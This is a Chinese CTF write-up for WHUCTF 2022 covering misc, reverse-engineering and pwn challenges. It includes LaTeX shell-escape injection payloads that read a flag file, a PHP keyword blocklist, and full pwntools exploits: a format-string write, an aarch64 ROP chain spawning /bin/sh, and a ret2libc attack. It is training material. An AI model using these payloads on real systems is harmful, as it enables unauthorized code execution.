WHUCTF 2022 部分题解

今年有幸参与WHUCTF出题,贡献了一道MISC和一道REVERSE

周六去打别的比赛了,没赶上开赛…

反正两天忙里偷闲做了几题

题解完成情况:

  • MISC

    • REAL SIGN IN
    • 好宅呀我都不看这些的
    • eldroW
    • Rubber
    • secretplayer
  • Reverse

    • signin_2048
    • Sleeeeeeeeeeeeeeeeeeep
    • MMMc
    • Way
    • pe_format 没放出来的题
  • Pwn

    • ssp
    • fmt
    • armRop
    • Brainfork
  • Blockchain

  • Web

  • Crypto (我要是会数论昨天的蓝桥杯就不至于心态崩了

=== Update On 2022-04-19 ===

被隔离了….,没有什么事要干,补了armRop这题

=== Update On 2022-04-29 ===

明天有一场DawgCTF,于是今天就补了Brainfork这题(并没有关联

MISC

REAL SIGN IN

BASE64解码直接出flagwhuctf{WelCome_t0_the_W0rld_of_CTF}

好宅呀我都不看这些的

题目zip解压后发现Eva终.MP4file查询可知该文件为rar压缩

解压后发现触动灵魂的ccd.pcapngflag.pyc,这玩意不是去年华为武研119的题目?

misc1-1

迄今为止还记得那个flag.pyc存在隐写没发现….

现在正经的做这题:

首先拿flag.pyc开刀,使用stegosaurus处理pyc中的隐写

misc1-2

需要注意的是这个工具需要在Python 3.6中运行,我在3.9中会出现错误

我们得到了flag的前半段flag{6754997a

然后处理ccd.pcapng

首先用文件->导出对象->HTTP导出所有HTTP通信的文件

首先看1.php:一个中规中矩的PHP Shell,返回的数据使用7c8087作为开始符,160394d3a42作为结束符

然后逐个分析,1(1).php返回了目录信息,1(2).php中更换了Shell,起始符变为8d89130c2,结束符变为a889274

接下来比较重要的是1(3).php,这是一个rar文件,手动去除首位标记解压后得到了password.txt密码表

1(4).php中更换了Shell,起始符变为f87e9,结束符变为e9671e4cc6

1(5).php是一个zip文件,其中有密码保护,通过之前的密码表,使用Advanced Archive Password Recovery或者类似的软件爆破可以得到密码:duome438caodan!&^demima

misc1-3

我们得到了一个gif然而这个gif无法直接打开

Wikipeida上我们可以得到GIF文件的格式:文件头 + 逻辑屏幕描述符 + 颜色表 + …

注意到:The series of sub-blocks is terminated by an empty sub-block (a 0 byte).

也就是意味着文件内应该存在大量的0x00而文件结尾是由0xFF组成的,怀疑文件内容对0xFF做了差,写一个脚本进行转换:

1
2
3
4
5
f = open('pic1.gif', 'rb')
f1 = open('pic2.gif', 'wb')
f1.write(bytes(map(lambda x: 255 - x, list(f.read()))))
f1.close()
f.close()

得到了pic2.gif,但是文件头不对

misc1-4

手动改成GIF87a

misc1-5

得到了可以打开的GIF文件

使用stegsolve等工具逐帧分析可以得到后半段flag44ofd5f4}

本题的flagflag{6754997a44ofd5f4}

eldroW

Wordle + 脚本编写

3Blue1Brown - Solving Wordle using information theory

(话说昨晚跑脚本把服务器跑崩了,成功发现了服务端的Bug :smile:

Rubber

本人出的题,去年刷FB的是否发现了有关LaTex Injection的内容,于是想着在新生赛出一个相关题目。本来考虑做更多的变式,比如说从环境变量读取FLAG之类的,但是感觉较难遂放弃了,最后是往flag里面添加了一些会改变格式的字符来稍稍增加难度

但是,从做题的情况来看,实属不理想(我还给了多个Hint…)
验题的时候我把题目给了两个同班同学,他们都能够看出生成的文档是由$\LaTeX$ 生成的,并且能猜测出$\LaTeX$命令执行的考点,唯一难点在于主观性的认为代码是由lstlisting生成,所以我在题面内加入了相关指示

做题情况分析

最后只有一支队做出了…

这就是 C T F

misc2-1

最后30s成功拿到flag

两天时间总共收到了302发提交,其中有:

  1. 7发提交猜测lstlisting
  2. 34发提交成功猜测出了代码片段使用的是minted宏包
  3. 46发提交尝试构造了执行命令的payload
  4. 剩下的包含但不限于
    1. 一位语言过于激烈的选手(fxxk
    2. 1次尝试node.js的提交
    3. 3次尝试XSS的提交
    4. 5次很认真的想写Python代码的提交
    5. 超过一百发提交:print('hello world')

在平台上总共收到了28flag提交,其中有:

  1. 1Catch the flag
  2. 3发提交flag格式
  3. 4发提交成功的获取到了Shell执行权限但是把临时文件(夹)的名字当成flag交了
  4. 6发提交过滤后的REPLACED
  5. 剩下的在猜测flag

从简单的统计数据中来看,只有$\frac{46}{302}\approx 15%$的提交是真正看懂了题意并尝试解答

总结一下:大一新生可能没有接触过$\LaTeX$,验题时样本偏差较大…. (唯一做出来的队还是大三的)

flag

1
WHUCTF{La$eX^1n_Jec$i0n-JmgCaHnLoKQfsC135zwK}

payload

regex ( PHP Side )

在题目页面上,只要稍微尝试写一些python代码即可发现存在过滤(最常见的输入input()会被替换),所以答题者在构造下面的payload时需要注意fuzz一下黑名单词汇

1
2
$pattern = '/echo|flag|immediate|write18|input/i';
$code = preg_replace($pattern, "REPLACED", $_POST["code"]);

payload

这里有一点难度的是需要猜测代码高亮的宏包,多数人可能听过的时lstlisting,而题目用的是mintedminted需要开启shell escape选项,刚刚好提供了shell执行的能力)

考虑到猜测minted可能存在一定的难度,我在题目描述中故意使用了这个词:

I believe you will be happy with this newly minted document.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
\end{minted}

\def\inp{\string\in}
\def\iput{put}
\def\cmdfl{/fl}
\def\cmd{\string{\cmdfl ag\string}}

\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{\inp\iput\cmd}
\closeout\outfile

\newread\file
\openin\file=cmd.tex
\loop\unless\ifeof\file
\read\file to\fileline
\fileline
\repeat
\closein\file

\begin{minted}{python}

顺便附上解题者的payload:他使用了base64处理flag,很聪明的做法成功绕过了特殊字符解析的问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
\end{minted}
\def \imm {\string\imme}
\def \diate {diate}
\def \eighteen {\string18}
\def \wwrite {\string\write\eighteen}
\def \fa {fl}
\def \ag {ag}
\def \args {\string{cat /\fa\ag |base64> test.tex\string}}
\def \inp {\string\in}
\def \iput {put}
\def \cmd {\string{test.tex\string}}

% First run
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{\imm\diate\wwrite\args}
\write\outfile{\inp\iput\cmd}
\closeout\outfile

% Second run
\newread\file
\openin\file=cmd.tex
\loop\unless\ifeof\file
\read\file to\fileline
\fileline
\repeat
\closein\file
Run1
\begin{minted}{Python}

Conversion

  1. You may notice that there is no { after WHUCTF, because it’s escaped by $\LaTeX$, you have to append it back
  2. Italic characters like eX1nJec means that they are surrounded with $
  3. Superscript and subscript means ^ and _

如果采用base64编码后偷flag,可以跳过这一步

Reference

secretplayer [TODO]

给了两个文件password.jpgflag.zip,其中flag.zip有密码,并且压缩方式为ZipCrypto Deflate,基本排除明文攻击

现在分析password.jpg发现文件末尾有多余内容:

misc3-1

提取出来后交给CyberChef发现这部分是UTF-8编码:

misc3-2

于是得到了flag.zip的密码,解压得到79352859_p0.png

检查发现图像末尾没有多余数据,图像放大后能看到规律的白色点阵

=== TODO ===

Reverse

signin_2048

APK文件拖入JEB直接找到flag

RE1-1

Sleeeeeeeeeeeeeeeeeeep

去花指令并删除反调试后我们可以理清程序的逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
for ( i = 0; i < 8192 && program[i] != -1; ++i )
{
switch ( program[i] )
{
case 0u:
READ_FLAG();
break;
case 1u:
INIT_REGS();
break;
case 2u:
R3_PLUS_R4();
break;
case 3u:
OP1();
break;
case 4u:
OP2();
break;
case 5u:
OP3();
break;
case 6u:
NOP();
break;
case 7u:
CHK();
break;
case 8u:
SUCCESS();
break;
case 9u:
DBG_PRINT();
break;
case 0xAu:
BANNER();
break;
case 0xBu:
BANNER2();
break;
case 0xCu:
RESET();
break;
default:
break;
}
}

我们可以照此得出虚拟机的程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
RESET

BANNER
READ_FLAG
INIT_REGS
(R3_PLUS_R4 OP1 OP2) * 32
OP3
CHK

NOP

BANNER2
READ_FLAG
INIT_REGS
(R3_PLUS_R4 OP1 OP2) * 32
OP3
CHK

SUCCESS

NOP

我们把出现了32次的这个结构拿出来看一下:

1
2
3
Regs[3] += Regs[4];
Regs[1] += (Regs[6] + ((unsigned int)Regs[2] >> 5)) ^ (Regs[3] + Regs[2]) ^ (Regs[5] + 16 * Regs[2]);
Regs[2] += (Regs[8] + ((unsigned int)Regs[1] >> 5)) ^ (Regs[3] + Regs[1]) ^ (Regs[7] + 16 * Regs[1]);

然后对比一下TEA算法的加密过程:

1
2
3
4
5
for (i=0; i<32; i++) {
sum += delta;
v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
}

不难发现虚拟机的RegsTEA的关系:

1
2
3
4
5
6
7
8
sum   -> Regs[3]
delta -> Regs[4]
v0 -> Regs[1]
v1 -> Regs[2]
k0 -> Regs[5]
k1 -> Regs[6]
k2 -> Regs[7]
k3 -> Regs[8]

然后从读入和初始化可以看出,程序使用常量i_want_to_sleep.but_i_study_QWQ.作为加密密钥,将输入的flag切成两半进行加密,与预置的常量进行比对,确认加密后结果是否一致。

Wiki上抄一段TEA的解密程序即可,不过需要注意修改程序的常量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
uint32_t delta = 0x61C88646; /* a key schedule constant */

void decrypt(uint32_t v[2], const uint32_t k[4]) {
uint32_t v0 = v[0], v1 = v[1], sum = delta << 5, i; /* set up; sum is (delta << 5) & 0xFFFFFFFF */
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; /* cache key */
for (i = 0; i < 32; i++) { /* basic cycle start */
v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
sum -= delta;
} /* end cycle */
v[0] = v0;
v[1] = v1;
}

uint32_t key[2][4] = {{0x61775F69, 0x745F746E, 0x6C735F6F, 0x2E706565},
{0x5F747562, 0x74735F69, 0x5F796475, 0x2E515751}};
uint32_t enc[3][2] = {{0x0C7F14B5E, 0x0CA8668E0}, {0x0A04A388F, 0x37B5B0B2}, 0};

int main() {

decrypt(enc[0], key[0]);
decrypt(enc[1], key[1]);
printf("%x %x\n", enc[0][0], enc[0][1]);
printf("%x %x\n", enc[1][0], enc[1][1]);
printf("%s\n", enc);

return 0;
}

运行输出:

1
2
3
61772049 7420746e
6c73206f 706565
I want to sleep

根据题目要求,flag即为flag{I_want_to_sleep}

题外话,出这题的师傅一开始放了一个让大家验题的版本,结果程序里用输入的flag作为密钥对上面那个常量进行加密…..我周末的时候发现有师傅过了这题,于是重新研究了一下

MMMc [TODO]

一个解魔方的程序

Way

这题是我出的

题目灵感

2020 ByteCTF “Where are you GOing” (Docs (feishu.cn))

原题背景是Dijkstra求最短路,对最短路径与给定数组异或得到flag,有意思的地方在于给定的程序求最短路时使用了“睡眠排序”,反向以时间换空间

本题一样是求最短路,给定了一张很“大”的图(1000000点,5000000边),给出的程序使用Floyd求出了最短路。程序给定了一组目标点,由源点到目标点的最短路径即为flag中对应字符的ASCII

考虑到图中点的数目有1000000Floyd复杂度$O(n^3)$,故运算量为$10^{18}$。在出题者的电脑上运行点数目为4000Floyd算法用时42741ms,故可估算该题使用Floyd算法运行需要时间为$\frac{10^{18}}{4000^3}\times4.2\text s\approx6\times10^{6}\text s\approx\frac{6\times10^{6}}{60\times60\times24\times365}\text{year}\approx2\text{year}$

显然,我们没有这么长的时间去运算,所以本题核心在于读懂程序中的算法(Floyd最简单的三重循环,即便不借助F5应该也能读懂),并且使用其它算法完成最短路的运算(如Dijkstra

其它一些杂项:

  1. fmemopen函数:把内存映射到FILE*上,需查阅资料
  2. 花指令:共有两种花指令,出现在三处地方,需要手动去除以便IDA分析

题解

直接IDA加载并跳转到main

1

发现花指令,空格切换视图并去除花指令

2

简单分析不难发现loc_1B73的工作是将0x1B6Bcall指令的返回地址+1,所以在0x1B70处按U取消分析,在0x1B71处按C转换为Code发现该处指令为跳转到0x1B8C,所以,批量将0x1B6B0x1B84处代码NOP

继续向下分析,在0x1E600x2070处还有花指令,如法炮制去除花指令

接下来直接F5对着反编译代码进行分析:

3

首先看52行,该函数将unk_46F0处开始,长度为len的数据转换为FILE*以便读入

接下来53行开始为快速读入,即读入一个整数,其中v4为符号位,v5为读取的数字(69行)。下方还多次出现此结构,不在赘述

我这里将第一个读入的数记为num1,第二个读入的记为num2

继续向下看,程序使用new动态开了一个二维数组:long long [num1+5][num1+5]

4

接下来一段是初始化数组:

5

这里这一长串是编译器做的优化,循环展开 + 利用xmm寄存器一次写128位。完成之后将刚刚申请的二维数组初始化为了一个很大的数

接下来一个循环(num2次),每次读入三个数uvw,并记录到二维数组中(241行)

6

完成所有的读入后就是一个经典的三重循环,不难看出,这里是一个Floyd算法:

7

写出相应的伪代码:

1
2
3
4
5
6
7
8
9
for(long long i = 1; i <= num1; ++i)
for(long long j = 1; j <= num1; ++j)
for(long long k = 1; k <= num; ++k)
{
v40 = v11[j][i] + v11[i][k];
if(v40 < v11[j][k])
break;
v11[j][k] = v40;
}

程序通过了floyd算法求出了多源最短路,最后根据最短路信息输出0x3D位的flag,每一位的ASCII值为从1号点开始,到qword_4500对应点的距离除以3

8

程序分析大致如上,现在考虑解这个flag

我们把数据提取出来,qword_4500为长61位的数组,直接复制出来即可:

1
u64 qword_4500[] = {261665,37124,443545,630934,573385,532784,29709,67370,994718,723285,511549,515957,369940,116891,122238,610250,421050,255808,966487,538057,178586,354758,761522,807557,977157,842572,788820,653219,357297,156760,831100,134624,917040,994718,808186,733839,840945,136697,78019,31777,162882,113443,125129,530113,503572,588804,903124,774034,718630,967011,265877,622273,689175,334507,115551,521400,152985,288044,528661,837731,533976}

而一开始的输入数据unk_46F0我建议直接用hex editor

9

首先考虑求单源最短路,直接使用Dijkstra,一个参考的实现如下(补题:P4779

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void dijkstra(unsigned n, unsigned s)
{
for (int i = 1; i <= n; i++)
dis[i] = u64_MAX >> 1;
dis[s] = 0;
q.push({0, s});
while (!q.empty())
{
auto u = q.top().u;
q.pop();
if (vis[u])
continue;
vis[u] = 1;
for (auto ed : e[u])
{
auto v = ed.v, w = ed.w;
if (dis[v] > dis[u] + w)
{
dis[v] = dis[u] + w;
q.push({dis[v], v});
}
}
}
}

最后,通过qword_4500计算flag:

1
2
for(int i = 0; i < 61; i++)
printf("%c", dis[qword_4500[i]] / 3);

我们得到了flagWHUCTF{A1g0R1tHm_1S_FvN_9587FF6F-1D83-437C-BAD8-A46E2F85B24A}

pe_format

RE出多了一道题,本来准备放的,但考虑到@secsome大佬把逆向题AK了,就不再放出来送分了…

(话说@secsome大佬好像还去打了ACM新生赛

Pwn

ssp

CTF-Wiki有很详细的解释,不过多赘述(花式栈溢出技巧 - CTF Wiki (ctf-wiki.org)

题目很友好,把flag所在的地址给了出来,所以我们只需要一路覆盖到argv[0]即可

我们可以采用偷懒的做法,从1循环到128,看看溢出多少可以覆盖到argv[0]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python3

from pwn import *

exe = ELF("ssp_patched")

context.binary = exe


def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("175.178.248.28", 10045)

return r

def main():
r = conn()
r.recvuntil(b'Magic: ')
magic = int(r.recv(14), 16)
r.recvuntil(b'size:')
r.sendline(b'-1')
r.recvuntil(b'content:')
r.sendline(p64(magic) * 32)

r.interactive()


if __name__ == "__main__":
main()

(题外话,本题由于我本地环境的GLIBC太新了,默认不打印,所以直接在服务器上枚举尝试 :)

fmt

格式化字符串漏洞

这个漏洞的总体利用思想是利用%n向指定地址写入数据

通过IDA逆向可知我们需要操控变量v4使得其值大于1024

pwn1-1

通过%2048d我们可以构造出一个输出2048长度的串,然后考虑使用%{offset}$n来向v4地址写入2048

我们使用GDB进行调试,由于GDB在载入程序的时候采用固定地址,这会方便我们的查找

首先我们在malloc之后下断点,查看v4存储的地址:

pwn1-2

可以知道v4存储的地址为0x5555555592a0

然后,我们在printf处下断点,打印进入printf后的栈结构,查看上面那个地址在栈里面的偏移

pwn1-3

我们通过一个简单的例子来看一下printfx84-64下的参数传递过程:

pwn1-1

可以发现,除格式化字符串外,前5个参数使用寄存器传递,从第6个参数开始往栈上存放,所以在上述栈帧结构中,除返回地址外,我们的目标0x5555555592a0位于第二个位置,加上前5个寄存器传递的参数,可以得出其偏移为7

所以构造payload%2048d%7$n向目标地址写入数据2048,这样就能打印出flag

pwn1-5

armRop

这是一道基于AARCH64的栈溢出ROP题目

首先查一下ELF属性:

arm1

可以发现NX(栈不可执行,往栈上写shell时得先mprotect开权限),NO PIE(调Gadgets方便多了)

然后考虑ARMROP利用方法:

arm2

注意到vulnerable中因为调用了其它的函数,在进入vulnerable时保存了R29R30寄存器,返回时从栈上弹出,故我们可以通过gets栈溢出劫持main的返回地址,构造ROP

我们现在需要找两种类型的Gadgets:一种是将栈中的值复制到寄存器中(一般只有复制到R19开始的寄存器),一种是将寄存器的值移动到R0-R7作为调用参数;然后考虑构造如下的链:mprotectdata/bss执行权限 -> syscall read入读shellcodedata/bss -> 跳转到shellcode执行

然而,找了一上午gadgets,没有找到什么有用的,所有的移动寄存器到R0-R7gadgets最后都通过寄存器寻址跳走了,难以控制目标地址,于是考虑转换思路,研究出题人是否提供了seedseed这个名词对吗?)

于是发现了一个很不自然的函数welcome

arm3

这个函数使用syscall做了一件事:输出Welcome! Please say something:

而且这个syscall有一个完整的结构:

1
2
3
4
5
0x00000000004006dc <+48>:    ldrsw   x0, [sp, #28]
0x00000000004006e0 <+52>: ldr w3, [sp, #16]
0x00000000004006e4 <+56>: ldr w2, [sp, #20]
0x00000000004006e8 <+60>: ldr w1, [sp, #24]
0x00000000004006ec <+64>: bl 0x419220 <syscall>

即从栈上取出4个参数,然后调用syscall,不需要额外的准备或移动 !!

现在考虑我们如何利用syscallgetshell

首先找一下文件中是否存在/bin/sh\0,这样可以省去写data/bss的操作:ROPgadget --binary arm --string "/bin/sh",然而并不存在。所以我们第一步需要使用syscall(read, fd, buf, count)/bin/sh\0写入到我们可以控制的地址上去

然后使用syscall(execve, filename, argv, envp)调用shell

AARCH64 Linux System Call的列表,调用号,调用参数可以在这里找到:Linux System Call Table - aarch64 (thog.github.io)

接下来就是常规的操作,使用cyclic找到溢出所需的偏移量:144(覆盖R30

然后构造payload:(需要注意的是:系统调用的参数是32位的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *


if args.REMOTE:
p = remote('175.178.248.28', 10047)
else:
# p = process(['qemu-aarch64', '-g', '1234', 'arm'])
p = process(['qemu-aarch64', 'arm'])

shell = b'/bin/sh\0'
syscall = 0x4006dc
data = 0x48a048

# 对齐
payload = b'A' * (144-8)

payload += p64(syscall) # 修改 main 的返回地址 syscall (read)

# 第一次调用 syscall 时加载参数的偏移量:0x10
payload += p64(0) # 占位
payload += p64(syscall) # 第一次 syscall 调用后的返回地址 即再调用一次 syscall (execve)

# 第一次 syscall 参数
payload += p32(len(shell)) # count
payload += p32(data) # buf
payload += p32(0) # fd -> stdin
payload += p32(0x3f) # syscall num

# 第二次 syscall
payload += p64(0)
payload += p64(0) # 占位符,并且不关心第二次的返回
payload += p32(0) # envp -> null string
payload += p32(0) # argv -> null string
payload += p32(data) # filename -> /bin/sh\0
payload += p32(0xdd) # syscall num

# 发送 payload
p.sendline(payload)
# 发送 /bin/sh
p.send(shell)

# 反弹shell
p.interactive()

arm4

Brainfork

这是一道brainfuck的解释器,漏洞在于数据指针没有对边界进行限制,于是可以修改任意地址

brain1

首先checksec发现没有canary但是有PIE,所以我们总体利用的思路是:

  1. 泄漏__libc_start_main的地址(刚好有puts
  2. 想办法重入main
  3. 跳转到one_gadgets找到的地址getshell

首先,经过一些简单的测试,不难发现我们将数据指针右移0x104次可以到达返回地址(需要注意的是,这个数据指针是16位的)

然后,考虑我们劫持后的栈结构:

1
2
3
4
5
6
7
8
9
                  +-------------+
return address -> | POP RDI RET |
+-------------+
| RDI | -> libc_start_main_got
+-------------+
| RET 1 | -> puts
+-------------+
| RET 2 | -> main
+-------------+

需要注意的是,我们需要给地址增加偏移量(PIE),我们不妨复制原来的返回地址,然后计算偏移量并加上

BrainFuck中,我们可以通过类似于下述的结构来复制数据

1
[->+>+<<]>>[-<<+>>]<<

在第二次重入后,我们需要将返回地址重定向到one_gadget找到的地址

由于libc中的地址一般都是0x7ff开头的高地址,直接加上去会超过65535的指令条数限制,所以我们需要一种算法来生成高效的BrainFuck代码:Brainfuck constants - Esolang (esolangs.org)

由于出题人没有提供远程环境,所以我们在本地实验一下即可:

brain2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
#!/usr/bin/env python3

from functools import cache
from pwn import *

exe = ELF("brainfork_patched")
libc = ELF("libc-2.27.so")
ld = ELF("ld-2.27.so")

context.binary = exe


def conn():
if args.LOCAL:
r = process([exe.path])
if args.GDB:
gdb.attach(r)
elif args.IDA:
from pwnlib.util.proc import wait_for_debugger
wait_for_debugger(r.pid)
else:
r = remote("127.0.0.1", 10045)

return r


def minimize(payload: bytes):
payload = payload.replace(b'.', b'')
back = payload
while True:
payload = payload.replace(b'<>', b'')
payload = payload.replace(b'><', b'')
if payload == back:
return back
back = payload


space = 64 // 16
minus_to_zero = b'[-]'
copy_16 = b'[-' + b'>' * space + b'+' + b'>' * space + b'+' \
+ b'<' * (space * 2) + b']' + b'>' * (space * 2) \
+ b'[-' + b'<' * (space * 2) + b'+' + b'>' * \
(space * 2) + b']' + b'<' * (space * 2)


@cache
def num2bf(x: int):
x = str(hex(x))[2:]
gadget1 = '[>++++++++++++++++<-]>'
gadget2 = '[<++++++++++++++++>-]<'
rev = True
ans = ''
for a in x:
cnt = int(a, 16)
ans += '+' * cnt
ans += gadget1 if rev else gadget2
rev = not rev
return ans[:-len(gadget1)]


def ll2bf(num: int):
ans = []
space = 64 // 16
for _ in range(space):
n = num & 0xffff
num >>= 16
ans.append(num2bf(n))
st = ''
st += '>' * (space - 1)
for i in range(space):
st += ans[space - i - 1]
st += '<<'
return st[:-2]


def leak_libc(r):
puts_plt = 0x1030

libc_start_main_got = 0x3fe0
main_addr = 0x1599
main_return = main_addr + 0x31 # 0x15ca
pop_rdi_ret = 0x165b

'''
+-------------+
return address -> | POP RDI RET |
+-------------+
| RDI | -> libc_start_main
+-------------+
| RET 1 | -> puts
+-------------+
| RET 2 | -> main
+-------------+
'''

payload = b'>' * 0x104
payload += b'+' * (pop_rdi_ret - main_return) # pop rdi ret

payload += b'>' * space
payload += (minus_to_zero + b'>') * (space * 4) # set zero

payload += b'<' * (space * 5)
payload += (copy_16 + b'>') * (space * 3) # copy RDI, RET 1, RET 2
payload += b'-' * (pop_rdi_ret - main_addr) # RET 2 = main
payload += b'<' * space
payload += b'-' * (pop_rdi_ret - puts_plt) # RET 1 = puts
payload += b'<' * space
payload += b'+' * (libc_start_main_got - pop_rdi_ret) # RDI = libc_start_main
payload += b'..'

r.sendline(minimize(payload))
libc_start_main = u64(r.recv(6).ljust(8, b'\x00'))
log.info('libc_start_main: ' + hex(libc_start_main))
return libc_start_main


def getshell(r, libc_start_main):
one_gadget = 0x4f365
libc_offset = libc_start_main - libc.symbols['__libc_start_main']
target = one_gadget + libc_offset
log.info('target: ' + hex(target))

payload = b'>' * 0x104
payload += (minus_to_zero + b'>') * space
payload += b'<' * space
payload += bytes(ll2bf(target), 'ascii')
# payload = minimize(payload)

log.info(f'payload length: 0x{hex(len(payload))}')
if len(payload) >= 0xFFFF:
raise 'payload too long'

r.sendline(payload)


def main():
r = conn()
libc_start_main = leak_libc(r)
input('getshell')
getshell(r, libc_start_main)
r.interactive()


if __name__ == "__main__":
main()